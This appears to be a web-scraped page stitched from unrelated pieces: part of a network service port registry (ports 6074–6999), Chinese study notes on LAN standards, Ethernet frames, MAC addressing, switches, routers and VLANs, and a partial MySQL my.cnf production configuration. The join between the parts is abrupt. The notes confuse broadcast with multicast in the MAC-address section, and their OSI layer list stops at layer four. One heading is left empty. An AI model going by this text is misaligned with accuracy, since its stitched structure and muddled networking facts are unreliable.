# John Kane
max 6074/tcp Microsoft Max
max 6074/udp Microsoft Max
# Jay Beavers February 2006
# 6075-6083 Unassigned
p2p-sip 6084/tcp Peer to Peer Infrastructure Protocol
# Cullen Jennings 29 January 2009
# 6084/udp Reserved
konspire2b 6085/tcp konspire2b p2p network
konspire2b 6085/udp konspire2b p2p network
# Jason Rohrer October 2002
pdtp 6086/tcp PDTP P2P
pdtp 6086/udp PDTP P2P
# Tony Arcieri March 2006
ldss 6087/tcp Local Download Sharing Service
ldss 6087/udp Local Download Sharing Service
# Clifford Heath May 2006
# 6088-6099 Unassigned
synchronet-db 6100/tcp SynchroNet-db
synchronet-db 6100/udp SynchroNet-db
synchronet-rtc 6101/tcp SynchroNet-rtc
synchronet-rtc 6101/udp SynchroNet-rtc
synchronet-upd 6102/tcp SynchroNet-upd
synchronet-upd 6102/udp SynchroNet-upd
# Arne Haugland
rets 6103/tcp RETS
rets 6103/udp RETS
# Bruce Toback
dbdb 6104/tcp DBDB
dbdb 6104/udp DBDB
# Aaron Brick
primaserver 6105/tcp Prima Server
primaserver 6105/udp Prima Server
mpsserver 6106/tcp MPS Server
mpsserver 6106/udp MPS Server
# Prima Designs Systems Ltd.
etc-control 6107/tcp ETC Control
etc-control 6107/udp ETC Control
# Steve Polishinski
sercomm-scadmin 6108/tcp Sercomm-SCAdmin
sercomm-scadmin 6108/udp Sercomm-SCAdmin
# Melinda Tsao
globecast-id 6109/tcp GLOBECAST-ID
globecast-id 6109/udp GLOBECAST-ID
# Piers Scannell
softcm 6110/tcp HP SoftBench CM
softcm 6110/udp HP SoftBench CM
spc 6111/tcp HP SoftBench Sub-Process Control
spc 6111/udp HP SoftBench Sub-Process Control
# Scott A. Kramer
dtspcd 6112/tcp dtspcd
dtspcd 6112/udp dtspcd
# Doug Royer
dayliteserver 6113/tcp Daylite Server
# Brent Gulanowski 26 August 2009
# 6113/udp Reserved
# 6114-6116 Unassigned
daylitetouch 6117/tcp Daylite Touch Sync
# Brent Gulanowski 26 August 2009
# 6117/udp Reserved
# 6118-6121 Unassigned
bex-webadmin 6122/tcp Backup Express Web Server
bex-webadmin 6122/udp Backup Express Web Server
# Chi Shih Chang November 2005
backup-express 6123/tcp Backup Express
backup-express 6123/udp Backup Express
# Chi Shih Chang
pnbs 6124/tcp Phlexible Network Backup Service
pnbs 6124/udp Phlexible Network Backup Service
# William R. Lear 23 October 2008
# 6125-6132 Unassigned
nbt-wol 6133/tcp New Boundary Tech WOL
nbt-wol 6133/udp New Boundary Tech WOL
# Elizabeth Zilen November 2004
# 6134-6139 Unassigned
pulsonixnls 6140/tcp Pulsonix Network License Service
pulsonixnls 6140/udp Pulsonix Network License Service
# David Manns 28 February 2008
meta-corp 6141/tcp Meta Corporation License Manager
meta-corp 6141/udp Meta Corporation License Manager
# Osamu Masuda <--none--->
aspentec-lm 6142/tcp Aspen Technology License Manager
aspentec-lm 6142/udp Aspen Technology License Manager
# Kevin Massey
watershed-lm 6143/tcp Watershed License Manager
watershed-lm 6143/udp Watershed License Manager
# David Ferrero
statsci1-lm 6144/tcp StatSci License Manager - 1
statsci1-lm 6144/udp StatSci License Manager - 1
statsci2-lm 6145/tcp StatSci License Manager - 2
statsci2-lm 6145/udp StatSci License Manager - 2
# Scott Blachowicz
lonewolf-lm 6146/tcp Lone Wolf Systems License Manager
lonewolf-lm 6146/udp Lone Wolf Systems License Manager
# Dan Klein
montage-lm 6147/tcp Montage License Manager
montage-lm 6147/udp Montage License Manager
# Michael Ubell
ricardo-lm 6148/tcp Ricardo North America License Manager
ricardo-lm 6148/udp Ricardo North America License Manager
# M Flemming
tal-pod 6149/tcp tal-pod
tal-pod 6149/udp tal-pod
# Steven Loomis
# 6150-6160 Unassigned
patrol-ism 6161/tcp PATROL Internet Srv Mgr
patrol-ism 6161/udp PATROL Internet Srv Mgr
patrol-coll 6162/tcp PATROL Collector
patrol-coll 6162/udp PATROL Collector
# Portnoy Boxman January 2005
pscribe 6163/tcp Precision Scribe Cnx Port
pscribe 6163/udp Precision Scribe Cnx Port
# Robert W Hodges January 2005
# 6164-6199 Unassigned
lm-x 6200/tcp LM-X License Manager by X-Formation
lm-x 6200/udp LM-X License Manager by X-Formation
# Henrik Goldman October 2006
# 6201-6221 Unassigned
radmind 6222/tcp Radmind Access Protocol
radmind 6222/udp Radmind Access Protocol
# Patrick M McNeal March 2006
# 6223-6240 Unassigned
jeol-nsdtp-1 6241/tcp JEOL Network Services Data Transport Protocol 1
jeol-nsddp-1 6241/udp JEOL Network Services Dynamic Discovery Protocol 1
jeol-nsdtp-2 6242/tcp JEOL Network Services Data Transport Protocol 2
jeol-nsddp-2 6242/udp JEOL Network Services Dynamic Discovery Protocol 2
jeol-nsdtp-3 6243/tcp JEOL Network Services Data Transport Protocol 3
jeol-nsddp-3 6243/udp JEOL Network Services Dynamic Discovery Protocol 3
jeol-nsdtp-4 6244/tcp JEOL Network Services Data Transport Protocol 4
jeol-nsddp-4 6244/udp JEOL Network Services Dynamic Discovery Protocol 4
# Kevin Wellwood 17 April 2008
# 6245-6250 Unassigned
tl1-raw-ssl 6251/tcp TL1 Raw Over SSL/TLS
tl1-raw-ssl 6251/udp TL1 Raw Over SSL/TLS
# Jim Humphreys 29 January 2008
tl1-ssh 6252/tcp TL1 over SSH
tl1-ssh 6252/udp TL1 over SSH
# Jim Humphreys 25 January 2008
crip 6253/tcp CRIP
crip 6253/udp CRIP
# Mike Rodbell
# 6254-6267 Unassigned
grid 6268/tcp Grid Authentication
grid 6268/udp Grid Authentication
grid-alt 6269/tcp Grid Authentication Alt
grid-alt 6269/udp Grid Authentication Alt
# Jason Hamilton June 2006
# 6270-6299 Unassigned
bmc-grx 6300/tcp BMC GRX
bmc-grx 6300/udp BMC GRX
# Portnoy Boxman
bmc_ctd_ldap 6301/tcp BMC CONTROL-D LDAP SERVER
bmc_ctd_ldap 6301/udp BMC CONTROL-D LDAP SERVER
# Portnoy Boxman September 2006
# 6302-6315 Unassigned
abb-escp 6316/tcp Ethernet Sensor Communications Protocol
abb-escp 6316/udp Ethernet Sensor Communications Protocol
# Jaime Antolin 25 September 2008
# 6317-6319 Unassigned
repsvc 6320/tcp Double-Take Replication Service
repsvc 6320/udp Double-Take Replication Service
# James Wilkinson April 2006
emp-server1 6321/tcp Empress Software Connectivity Server 1
emp-server1 6321/udp Empress Software Connectivity Server 1
emp-server2 6322/tcp Empress Software Connectivity Server 2
emp-server2 6322/udp Empress Software Connectivity Server 2
# Srdjan Holovac
# 6323-6342 Unassigned
sflow 6343/tcp sFlow traffic monitoring
sflow 6343/udp sFlow traffic monitoring
# Peter Phaal June 2003
# 6344-6345 Unassigned
gnutella-svc 6346/tcp gnutella-svc
gnutella-svc 6346/udp gnutella-svc
gnutella-rtr 6347/tcp gnutella-rtr
gnutella-rtr 6347/udp gnutella-rtr
# Serguei Osokine
# 6348-6354 Unassigned
pmcs 6355/tcp PMCS applications
pmcs 6355/udp PMCS applications
# Pavel Mendl March 2007
# 6356-6359 Unassigned
metaedit-mu 6360/tcp MetaEdit+ Multi-User
metaedit-mu 6360/udp MetaEdit+ Multi-User
# Steven Kelly 12 November 2007
# 6361-6369 Unassigned
metaedit-se 6370/tcp MetaEdit+ Server Administration
metaedit-se 6370/udp MetaEdit+ Server Administration
# Steven Kelly 12 November 2007
# 6371-6381 Unassigned
metatude-mds 6382/tcp Metatude Dialogue Server
metatude-mds 6382/udp Metatude Dialogue Server
# Menno Zweistra
# 6383-6388 Unassigned
clariion-evr01 6389/tcp clariion-evr01
clariion-evr01 6389/udp clariion-evr01
# Dave DesRoches
metaedit-ws 6390/tcp MetaEdit+ WebService API
metaedit-ws 6390/udp MetaEdit+ WebService API
# Steven Kelly 12 November 2007
# 6391-6399 Unassigned
boe-cms 6400 Business Objects CMS contact port
boe-was 6401 boe-was
boe-eventsrv 6402 boe-eventsrv
boe-cachesvr 6403 boe-cachesvr
boe-filesvr 6404 Business Objects Enterprise internal server
boe-pagesvr 6405 Business Objects Enterprise internal server
boe-processsvr 6406 Business Objects Enterprise internal server
boe-resssvr1 6407 Business Objects Enterprise internal server
boe-resssvr2 6408 Business Objects Enterprise internal server
boe-resssvr3 6409 Business Objects Enterprise internal server
boe-resssvr4 6410 Business Objects Enterprise internal server
# Previous contact: Wade Richards
# Current contact: Wade Richards 05 May 2008
# 6411-6416 Unassigned
faxcomservice 6417/tcp Faxcom Message Service
faxcomservice 6417/udp Faxcom Message Service
# Albert Leung April 2006
# 6418-6419 Unassigned
nim-vdrshell 6420/tcp NIM_VDRShell
nim-vdrshell 6420/udp NIM_VDRShell
nim-wan 6421/tcp NIM_WAN
nim-wan 6421/udp NIM_WAN
# Rik Ditter February 2006
# 6422-6431 Unassigned
pgbouncer 6432/tcp PgBouncer
# Marko Kreen 13 February 2009
# 6432/udp Reserved
# 6433-6442 Unassigned
sun-sr-https 6443/tcp Service Registry Default HTTPS Domain
sun-sr-https 6443/udp Service Registry Default HTTPS Domain
# Paul Sterk March 2006
sge_qmaster 6444/tcp Grid Engine Qmaster Service
sge_qmaster 6444/udp Grid Engine Qmaster Service
sge_execd 6445/tcp Grid Engine Execution Service
sge_execd 6445/udp Grid Engine Execution Service
# Andreas Haas August 2006
mysql-proxy 6446/tcp MySQL Proxy
mysql-proxy 6446/udp MySQL Proxy
# Kay Roepke 22 April 2009
# 6447-6454 Unassigned
skip-cert-recv 6455/tcp SKIP Certificate Receive
skip-cert-send 6456/udp SKIP Certificate Send
# Tom Markson
# 6457-6470 Unassigned
lvision-lm 6471/tcp LVision License Manager
lvision-lm 6471/udp LVision License Manager
# Brian McKinnon
# 6472-6479 Unassigned
sun-sr-http 6480/tcp Service Registry Default HTTP Domain
sun-sr-http 6480/udp Service Registry Default HTTP Domain
# Paul Sterk March 2006
servicetags 6481/tcp Service Tags
servicetags 6481/udp Service Tags
# Peter Schow January 2007
ldoms-mgmt 6482/tcp Logical Domains Management Interface
ldoms-mgmt 6482/udp Logical Domains Management Interface
# Eric Sharakan 14 February 2008
SunVTS-RMI 6483/tcp SunVTS RMI
SunVTS-RMI 6483/udp SunVTS RMI
# Sumit Arora June 2007
sun-sr-jms 6484/tcp Service Registry Default JMS Domain
sun-sr-jms 6484/udp Service Registry Default JMS Domain
sun-sr-iiop 6485/tcp Service Registry Default IIOP Domain
sun-sr-iiop 6485/udp Service Registry Default IIOP Domain
sun-sr-iiops 6486/tcp Service Registry Default IIOPS Domain
sun-sr-iiops 6486/udp Service Registry Default IIOPS Domain
sun-sr-iiop-aut 6487/tcp Service Registry Default IIOPAuth Domain
sun-sr-iiop-aut 6487/udp Service Registry Default IIOPAuth Domain
sun-sr-jmx 6488/tcp Service Registry Default JMX Domain
sun-sr-jmx 6488/udp Service Registry Default JMX Domain
sun-sr-admin 6489/tcp Service Registry Default Admin Domain
sun-sr-admin 6489/udp Service Registry Default Admin Domain
# Paul Sterk March 2006
# 6490-6499 Unassigned
boks 6500/tcp BoKS Master
boks 6500/udp BoKS Master
boks_servc 6501/tcp BoKS Servc
boks_servc 6501/udp BoKS Servc
boks_servm 6502/tcp BoKS Servm
boks_servm 6502/udp BoKS Servm
boks_clntd 6503/tcp BoKS Clntd
boks_clntd 6503/udp BoKS Clntd
# Magnus Nystrom
# 6504 Unassigned
badm_priv 6505/tcp BoKS Admin Private Port
badm_priv 6505/udp BoKS Admin Private Port
badm_pub 6506/tcp BoKS Admin Public Port
badm_pub 6506/udp BoKS Admin Public Port
bdir_priv 6507/tcp BoKS Dir Server, Private Port
bdir_priv 6507/udp BoKS Dir Server, Private Port
bdir_pub 6508/tcp BoKS Dir Server, Public Port
bdir_pub 6508/udp BoKS Dir Server, Public Port
# Magnus Nystrom
mgcs-mfp-port 6509/tcp MGCS-MFP Port
mgcs-mfp-port 6509/udp MGCS-MFP Port
# Minoru Ozaki
mcer-port 6510/tcp MCER Port
mcer-port 6510/udp MCER Port
# Portnoy Boxman
# 6511-6512 Unassigned
netconf-tls 6513/tcp NETCONF over TLS
# 6513/udp Reserved
# [RFC5539]
syslog-tls 6514/tcp Syslog over TLS
# [RFC5425]
# 6514/udp Reserved
elipse-rec 6515/tcp Elipse RPC Protocol
elipse-rec 6515/udp Elipse RPC Protocol
# Flávio Englert 17 September 2007
# 6516-6542 Unassigned
lds-distrib 6543/tcp lds_distrib
lds-distrib 6543/udp lds_distrib
# Jack Baker June 2003
lds-dump 6544/tcp LDS Dump Service
lds-dump 6544/udp LDS Dump Service
# Jack Baker February 2006
# 6545-6546 Unassigned
apc-6547 6547/tcp APC 6547
apc-6547 6547/udp APC 6547
apc-6548 6548/tcp APC 6548
apc-6548 6548/udp APC 6548
apc-6549 6549/tcp APC 6549
apc-6549 6549/udp APC 6549
# American Power Conversion
fg-sysupdate 6550/tcp fg-sysupdate
fg-sysupdate 6550/udp fg-sysupdate
# Mark Beyer
sum 6551/tcp Software Update Manager
sum 6551/udp Software Update Manager
# Jan Dirven 13 December 2007
# 6552-6557 Unassigned
xdsxdm 6558/tcp
xdsxdm 6558/udp
# Brian Tackett possible contact
# 6559-6565 Unassigned
sane-port 6566/tcp SANE Control Port
sane-port 6566/udp SANE Control Port
# Henning Meier-Geinitz October 2002
esp 6567/tcp eSilo Storage Protocol
esp 6567/udp eSilo Storage Protocol
# Andrew Chernow January 2007
canit_store 6568/tcp CanIt Storage Manager
# David F. Skoll 22 April 2009
# 6568/udp Reserved
# 6569-6578 Unassigned
affiliate 6579/tcp Affiliate
affiliate 6579/udp Affiliate
# David Catmull January 2006
parsec-master 6580/tcp Parsec Masterserver
parsec-master 6580/udp Parsec Masterserver
parsec-peer 6581/tcp Parsec Peer-to-Peer
parsec-peer 6581/udp Parsec Peer-to-Peer
parsec-game 6582/tcp Parsec Gameserver
parsec-game 6582/udp Parsec Gameserver
# Andreas Varga
joaJewelSuite 6583/tcp JOA Jewel Suite
joaJewelSuite 6583/udp JOA Jewel Suite
# Bob Rundle November 2005
# 6584-6587 Unassigned
# 6588 Unassigned
####Unofficial use of port 6588 by AnalogX and Microsoft####
# 6589-6599 Unassigned
mshvlm 6600/tcp Microsoft Hyper-V Live Migration
# Rajesh Davé 03 February 2009
# 6600/udp Reserved
mstmg-sstp 6601/tcp Microsoft Threat Management Gateway SSTP
# Ori Yosefi 04 May 2009
# 6601/udp Reserved
# 6602-6618 Unassigned
odette-ftps 6619/tcp ODETTE-FTP over TLS/SSL
odette-ftps 6619/udp ODETTE-FTP over TLS/SSL
# Ieuan Friend March 2006
# [RFC5024]
kftp-data 6620/tcp Kerberos V5 FTP Data
kftp-data 6620/udp Kerberos V5 FTP Data
kftp 6621/tcp Kerberos V5 FTP Control
kftp 6621/udp Kerberos V5 FTP Control
# Robert J. Scott August 2005
mcftp 6622/tcp Multicast FTP
mcftp 6622/udp Multicast FTP
# Bruce Lueckenhoff February 2006
ktelnet 6623/tcp Kerberos V5 Telnet
ktelnet 6623/udp Kerberos V5 Telnet
# Robert J. Scott August 2005
# 6624-6625 Unassigned
wago-service 6626/tcp WAGO Service and Update
wago-service 6626/udp WAGO Service and Update
# Wolfgang Adler April 2006
nexgen 6627/tcp Allied Electronics NeXGen
nexgen 6627/udp Allied Electronics NeXGen
# Lou Seitchik August 2005
afesc-mc 6628/tcp AFE Stock Channel M/C
afesc-mc 6628/udp AFE Stock Channel M/C
# K.K Ho April 2004
# 6629-6630 Unassigned
# 6631 Unassigned (Returned 28 May 2004)
# 6632-6664 Unassigned
ircu 6665-6669/tcp IRCU
ircu 6665-6669/udp IRCU
# Brian Tackett
vocaltec-gold 6670/tcp Vocaltec Global Online Directory
vocaltec-gold 6670/udp Vocaltec Global Online Directory
# Scott Petrack
p4p-portal 6671/tcp P4P Portal Service
p4p-portal 6671/udp P4P Portal Service
# Chris Griffiths 28 July 2008
vision_server 6672/tcp vision_server
vision_server 6672/udp vision_server
vision_elmd 6673/tcp vision_elmd
vision_elmd 6673/udp vision_elmd
# Chris Kramer
# 6674-6699 Unassigned
frc-hp 6700/sctp ForCES HP (High Priority) channel
# Jamal Hadi Salim 04 August 2009
kti-icad-srvr 6701/tcp KTI/ICAD Nameserver
kti-icad-srvr 6701/udp KTI/ICAD Nameserver
# Stanley Knutson
frc-mp 6701/sctp ForCES MP (Medium Priority) channel
# Jamal Hadi Salim 04 August 2009
frc-lp 6702/sctp ForCES LP (Low priority) channel
# Jamal Hadi Salim 04 August 2009
e-design-net 6702/tcp e-Design network
e-design-net 6702/udp e-Design network
e-design-web 6703/tcp e-Design web
e-design-web 6703/udp e-Design web
# Janos Lerch February 2006
# 6704-6713 Unassigned
ibprotocol 6714/tcp Internet Backplane Protocol
ibprotocol 6714/udp Internet Backplane Protocol
# Alessandro Bassi
fibotrader-com 6715/tcp Fibotrader Communications
fibotrader-com 6715/udp Fibotrader Communications
# Robert Wetzold January 2006
# 6716-6766 Unassigned
bmc-perf-agent 6767/tcp BMC PERFORM AGENT
bmc-perf-agent 6767/udp BMC PERFORM AGENT
bmc-perf-mgrd 6768/tcp BMC PERFORM MGRD
bmc-perf-mgrd 6768/udp BMC PERFORM MGRD
# Portnoy Boxman
adi-gxp-srvprt 6769/tcp ADInstruments GxP Server
adi-gxp-srvprt 6769/udp ADInstruments GxP Server
# Mathew Pitchforth August 2005
plysrv-http 6770/tcp PolyServe http
plysrv-http 6770/udp PolyServe http
plysrv-https 6771/tcp PolyServe https
plysrv-https 6771/udp PolyServe https
# Mike Spitzer August 2005
# 6772-6784 Unassigned
dgpf-exchg 6785/tcp DGPF Individual Exchange
dgpf-exchg 6785/udp DGPF Individual Exchange
# Thomas Weise April 2006
smc-jmx 6786/tcp Sun Java Web Console JMX
smc-jmx 6786/udp Sun Java Web Console JMX
smc-admin 6787/tcp Sun Web Console Admin
smc-admin 6787/udp Sun Web Console Admin
# Bill Edwards August 2005
smc-http 6788/tcp SMC-HTTP
smc-http 6788/udp SMC-HTTP
# Ratnadeep Bhattacharjee November 2002
smc-https 6789/tcp SMC-HTTPS
smc-https 6789/udp SMC-HTTPS
# Ratnadeep Bhattacharjee August 2002
hnmp 6790/tcp HNMP
hnmp 6790/udp HNMP
# Jude George
hnm 6791/tcp Halcyon Network Manager
hnm 6791/udp Halcyon Network Manager
# Richard Harriss May 2005
# 6792-6800 Unassigned
acnet 6801/tcp ACNET Control System Protocol
acnet 6801/udp ACNET Control System Protocol
# Rich Neswold February 2007
# 6802-6830 Unassigned
ambit-lm 6831/tcp ambit-lm
ambit-lm 6831/udp ambit-lm
# Don Hejna
# 6832-6840 Unassigned
netmo-default 6841/tcp Netmo Default
netmo-default 6841/udp Netmo Default
netmo-http 6842/tcp Netmo HTTP
netmo-http 6842/udp Netmo HTTP
# Urs Bertschinger
# 6843-6849 Unassigned
iccrushmore 6850/tcp ICCRUSHMORE
iccrushmore 6850/udp ICCRUSHMORE
# Dave Hubbard
# 6851-6887 Unassigned
muse 6888/tcp MUSE
muse 6888/udp MUSE
# Muse Communications Corporation
#
# 6889-6935 Unassigned
xsmsvc 6936/tcp XenSource Management Service
xsmsvc 6936/udp XenSource Management Service
# Roger Klorese June 2006
# 6937-6945 Unassigned
bioserver 6946/tcp Biometrics Server
bioserver 6946/udp Biometrics Server
# ISHII AKIO January 2006
# 6947-6950 Unassigned
otlp 6951/tcp OTLP
otlp 6951/udp OTLP
# Brent Foster April 2006
# 6952-6960 Unassigned
jmact3 6961/tcp JMACT3
jmact3 6961/udp JMACT3
jmevt2 6962/tcp jmevt2
jmevt2 6962/udp jmevt2
swismgr1 6963/tcp swismgr1
swismgr1 6963/udp swismgr1
swismgr2 6964/tcp swismgr2
swismgr2 6964/udp swismgr2
swistrap 6965/tcp swistrap
swistrap 6965/udp swistrap
swispol 6966/tcp swispol
swispol 6966/udp swispol
# Yutaka Ono
# 6967-6968 Unassigned
acmsoda 6969/tcp acmsoda
acmsoda 6969/udp acmsoda
# Daniel Simms
# 6970-6996 Unassigned
MobilitySrv 6997/tcp Mobility XE Protocol
MobilitySrv 6997/udp Mobility XE Protocol
# Joseph T Savarese June 2007
iatp-highpri 6998/tcp IATP-highPri
iatp-highpri 6998/udp IATP-highPri
iatp-normalpri 6999/tcp IATP-normalPri
iatp-normalpri 6999/udp IATP-normalPri

局域网标准

局域网标准:IEEE802,802 标准所描述的局域网参考模型只对应 OSI 参考模型的数据链路层与物理层,它将数据链路层划分为逻辑链路层 LLC 子层和介质访问控制 MAC 子层

  • LLC 子层负责向其上层提供服务
  • MAC 子层的主要功能包括数据帧的封装/卸装,帧的寻址和识别,帧的接收与发送,链路的管理,帧的差错控制等。MAC 子层的存在屏蔽了不同物理链路种类的差异性

802 细分成各个小的局域网标准

  • IEEE802.1 早期局域网标准
  • IEEE802.2 工作在 LLC 层,LLC 层为上一层也就是网络层提供服务,为了兼容早期的 802.3
  • IEEE802.3 工作在物理层和 MAC 层,早期的 802.3 没有说清楚上层物理层是什么协议,它认为只有一种协议 ipx,现在 ipx 已经淘汰了,主流是 ip 协议。所以它需要配合 802.2 来表示上层协议的类型。
  • IEEE802.11 无线局域网技术
    • 802.11b — WiFi 1 (1999)
    • 802.11a — WiFi 2 (1999)
    • 802.11g — WiFi 3 (2003)
    • 802.11n — WiFi 4 (2009)
    • 802.11ac — WiFi 5(2014)
    • 802.11ax — WiFi 6(2018)

IEEE802.3+IEEE802.2 的组合也不方便,所以实际中我们也不使用这种标准,使用的是 Etherent V2 以太网第二版协议

前 8 个字节 Preamble 是前导信息;最后 4 个字节 FCS 是校验位;Destination Address 是接收方的 MAC 地址,Source Address 是发送方的 MAC 地址,MAC 地址是 48 位,也就是 6 个字节;type 指定上层接收数据的协议类型(ip),length 说明后面数据的长度

组网设备

switch:交换机,最常见
router: 路由器
hub:集线器,很便宜,已淘汰

配线架、跳线

网线先接到配线架上,在通过跳线连接到交换机。因为网线比较长,而且一般都固定在地上或墙上,一旦坏了不方便拆换,所以网线一旦插好了就不动了,如果有调整,只动跳线就可以了,跳线比较短

网线、光纤

工作在物理层

网络适配器

简称网卡,工作在数据链路层。进行串行/并行转换、数据缓存、在计算机操作系统中安装设备驱动程序、实现以太网协议

一张网卡可能有一个或多个接口

中继器和集线器

工作在物理层。远距离传输,信号有衰减,中继器可以放大信号,但当负载增加时,网络性能急剧下降;集线器可以认为是一个多端口的中继器,也可以放大信号,它工作模式基于广播机制,不安全。连接在同一集线器的电脑处于同一冲突域和同一广播域,所以所有电脑通信是半双工,而且共享带宽。

网桥和交换机

两者工作逻辑是一样的,都工作在数据链路层、每个端口可提供专用的带宽、全双工通信。

网桥

也叫桥接器,是连接两个局域网的一种存储/转发设备,网桥中缓存连接设备的 MAC 地址,并将 MAC 地址和其连接端口对应起来,网桥判断发送方 MAC 和接受方 MAC 连接的是同一端口,说明它俩处于同一个局域网,就不会向其他局域网发送信息,这样就隔绝了冲突域

交换机

相比网桥,端口更多,网桥一个端口连接一个局域网,交换机一个端口连接一台电脑,所以彻底解决冲突域的问题

  1. 交换机根据收到数据帧中的源 MAC 地址建立该地址同交换机端口的映射,并将其写入 MAC 地址表中
  2. 交换机将数据帧中的目的 MAC 地址同已建立的 MAC 地址表进行比较,以决定由哪个端口进行转发
  3. 如数据帧中的目的 MAC 地址不在 MAC 地址表中,则向所有端口转发。这一过程称为泛洪(flood)
  4. 广播帧和组播帧向所有的端口转发

路由器

网桥和交换机可以隔离冲突域,但是无法隔离广播域: ① 交换机接收到广播帧会广播;② 接到单播看 mac 表有没有学到对应目的 mac 的缓存,没有的话还是会广播

所以需要在交换机前面加上一个路由器, 路由器可以隔绝广播

交换机是二层设备,路由器是三层设备,判断设备在几层是由设备的最高功能决定的,三层设备能处理一层和二层信息,反之二层设备不能处理三层的信息

以太网技术

以太网(Ethernet)是一种产生较早且使用相当广泛的局域网。

现在大部分的局域网均为以太网,因此一般提及局域网都会默认为以太网。

MAC 地址

48 位,固化在网卡 ROM 中,IEEE 的注册管理机构 RA 负责向厂家分配地址字段的前三个字节(即高位 24 位),后三个字节(即低位 24 位)由厂家自行指派,称为扩展标识符,必须保证生产出的适配器没有重复地址。

发送数据的时候,在接收方 MAC 地址中注明这条数据是单播、组播还是多播。MAC 地址由 6 字节 48bit 组成,第 48bit(即第 1 个字节的最后 1bit)如果为 0 说明这条数据是单播。如果为 1 说明这条数据是组播或者多播。多播只有一种情况,就是 MAC 地址的 48bit 全部都是 1:FF FF FF FF FF FF。

显然:组播和多播的 MAC 地址是逻辑地址,在网络上,没有一个设备的 MAC 地址是一个组播 MAC 地址或者多播地址 FF FF FF FF FF FF。对于网络设备上固化的 MAC 地址,只能是单播地址,也就是 MAC 帧中的发送方的 MAC 地址第 48 位只能 0。

接收数据,在二层根据接收方 MAC 地址的 48bit 判断单播、组播还是多播。如果是单播,再判断接收方 MAC 地址是否为自身的 MAC 地址,不是就丢弃;如果是多播,无条件接收;如果是组播,判断是否为本机监听的组播,不是就丢弃。

  • 发送端发送组播包时,目的 mac 地址是根据组播 ip 和固定格式进行映射,并没有指向固定目标主机,向网络上进行发送。
  • 接收端接收组播包时,同样需要对组播 ip 和固定格式进行映射,生成的组播 mac 地址与接收到的数据包 mac 比对,若相通往上传。

路由器可以不接受广播和组播

虚拟局域网 VLAN

企业内部的局域网,尤其是比较大的局域网,有很多交换机,交换机不隔离广播,所以一台 PC 发送消息,通过路由器、核心交换机广播到局域网中所有的 PC,这样是不合理的。路由器可以隔离,但是在企业内部是不会用路由器来隔离广播的,因为路由器很贵,而且接口比较少,所以一般只用来连接外网。家用的路由器实际上是交换机和路由器的结合体。

可以给交换机增加隔离广播域的功能,实现原理是通过软件实现逻辑上的局域网,即虚拟局域网 VLAN。

简单理解:

交换机有很多端口,交换机缓存端口和 vlan 的关联,这样,从一个网口出来的以太帧,只广播到与之关联的 vlan 关联的端口,这样就隔离了广播。当然,一个 vlan 关联的网口可能处于不同的交换机,所以需要制定一个协议(trunk 协议),在发送给其他交换机的广播的帧中塞入一个标签,注明来自哪个 vlan。

实现 vlan,除了基于端口划分,也可以基于 MAC、协议、网络地址来划分。

trunk 协议给塞入的标签分配了 4 个字节,其中只有 12 个 bit 用来表示来自哪个 VLAN,可以表示 2^12 个 VLAN,对于普通的局域网是够的,但是对于云服务商不够,例如阿里云,成千上万企业在阿里云购买主机,阿里云需要把每个企业的服务器隔离开来,4 千多个个 VLAN 不够用。使用 VXLAN 技术可以解决这个问题

IEEE 802.1Q封装的VLAN数据帧格式

分层的网络架构

比较完善的网络架构可以分成三层:访问层、分布层、核心层。

11.1 40min-52min

网络概念

计算机网络是一组计算机或网络设备通过有形的线缆或无形的媒介如无线,连接起来,按照一定的规则,进行通信的集合。

按照作用范围分类:广域网、城域网、局域网。

网络特征

网络速度(带宽)

Mbps 是 Million bits per second 的缩写,是一种传输速率单位,指每秒传输的位(比特)数量。

网络拓扑

分为物理拓扑和逻辑拓扑。物理拓扑描述了物理设备的布线方式;逻辑拓扑描述了信息在网络中流动的方式。

网络标准

OSI 模型七层结构

从上往下依次为:应用层、表示层、会话层、传输层、网络层、数据链路层、物理层。

  1. 第 1 层 物理层
  2. 第 2 层 数据链接层
  3. 第 3 层 网络层
  4. 第 4 层 传输层

OSI 模型仅仅是一种理论,因为太过繁琐,并没有实际应用 ,实际应用的是 TCP/IP 协议。

网络的通信过程

发送方从应用层发送数据,经过层层封装,最后通过物理层将数据发送出去。接收方的物理层接受到数据,经过层层解封,最后在应用层将数据展示给用户

PDU:Protocol Data Unit,协议数据单元是指对等层次之间传递的数据单位

  • 物理层的 PDU 是数据位 bit
  • 数据链路层的 PDU 是数据帧 frame
  • 网络层的 PDU 是数据包 packet
  • 传输层的 PDU 是数据段 segment,
    • 因为二层的数据中包含 MAC 地址,所以二层的数据又叫 MAC 帧
  • 其他更高层次的 PDU 是消息 message

三种通讯模式

1
2
3
unicast:单播,目标设备是一个
broadcast:广播,目标设备是所有
multicast:多播、组播,目标设备是多个

冲突域和广播域

三种通讯机制

单工通信:只有一个方向的通信,比如 收音机
半双工通信:通信双方可以发送和接受消息,但是不能同时发送,也不能同时接受,比如 对讲机
全双工通信: FD(Full Duplex) 通信双方可以同时发送和同时接受,比如 手机

查看网卡支持双工和网速:

1
2
3
4
5
mii-tool eth0
mii-tool -v eth0

ethtool -i eth0
ethtool eth0

压力测试工具

生产环境 my.cnf 配置案例

配置文件生成工具参考链接:https://imysql.com/my_cnf_generator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#打开独立表空间
innodb_file_per_table = 1
#MySQL 服务所允许的同时会话数的上限,经常出现Too Many Connections的错误提示,则需要增大此值
max_connections = 8000
#所有线程所打开表的数量
open_files_limit = 10240
#back_log 是操作系统在监听队列中所能保持的连接数
back_log = 300
#每个客户端连接最大的错误允许数量,当超过该次数,MYSQL服务器将禁止此主机的连接请求,直到MYSQL服务器重启或通过flush hosts命令清空此主机的相关信息
max_connect_errors = 1000
#每个连接传输数据大小.最大1G,须是1024的倍数,一般设为最大的BLOB的值
max_allowed_packet = 32M
#指定一个请求的最大连接时间
wait_timeout = 10
# 排序缓冲被用来处理类似ORDER BY以及GROUP BY队列所引起的排序
sort_buffer_size = 16M
#不带索引的全表扫描.使用的buffer的最小值
join_buffer_size = 16M
#查询缓冲大小
query_cache_size = 128M
#指定单个查询能够使用的缓冲区大小,缺省为1M
query_cache_limit = 4M
# 设定默认的事务隔离级别
transaction_isolation = REPEATABLE-READ
# 线程使用的堆大小. 此值限制内存中能处理的存储过程的递归深度和SQL语句复杂性,此容量的内存在每次
连接时被预留.
thread_stack = 512K
# 二进制日志功能
log-bin=/data/mysqlbinlogs/
#二进制日志格式
binlog_format=row
